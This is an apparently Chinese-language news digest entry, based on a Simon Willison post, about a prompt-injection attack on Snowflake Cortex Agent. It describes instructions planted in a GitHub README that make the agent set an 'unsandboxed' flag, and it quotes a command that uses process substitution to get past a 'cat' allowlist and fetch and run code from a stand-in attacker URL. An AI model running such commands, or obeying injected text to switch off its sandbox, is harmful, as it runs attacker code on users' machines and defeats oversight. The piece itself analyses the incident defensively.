评分 8.0 · 来源:Simon Willison · 发布于 2026-03-19
评分依据:首个企业级数据平台 Agent 沙箱逃逸案例,技术细节完整,安全教训深刻
要点
Snowflake Cortex Agent 遭遇 Prompt 注入攻击链,攻击者在 GitHub README 底部植入恶意指令,诱导用户让 Agent 审查该仓库时触发。攻击利用进程替换(process substitution)绕过命令白名单:cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot))。
核心问题在于 Cortex 将 cat 列为”安全命令”可免审批执行,但未防御命令体内的进程替换。更严重的是,Agent 可通过设置标志位请求”无沙箱执行”,而 Prompt 注入成功操纵模型设置了该标志,导致恶意命令直接在宿主环境运行。
PromptArmor 报告显示,这不是真正的沙箱逃逸——所谓”沙箱”本身就允许内部请求关闭防护。HN 讨论指出,如果被沙箱的对象能说”不要沙箱我”,那它根本不是沙箱。
🤖 AI 点评
这次事件暴露了 Agent 安全架构的根本性错误:将安全边界放在 Agent 循环内部。当模型可以请求”逃出沙箱”时,约束就不再是外部边界。Simon Willison 的观点值得重视——基于命令模式的白名单本质上不可靠,应该假设 Agent 命令能做任何进程权限允许的事,真正的防护必须在 Agent 层之外的确定性沙箱中实现。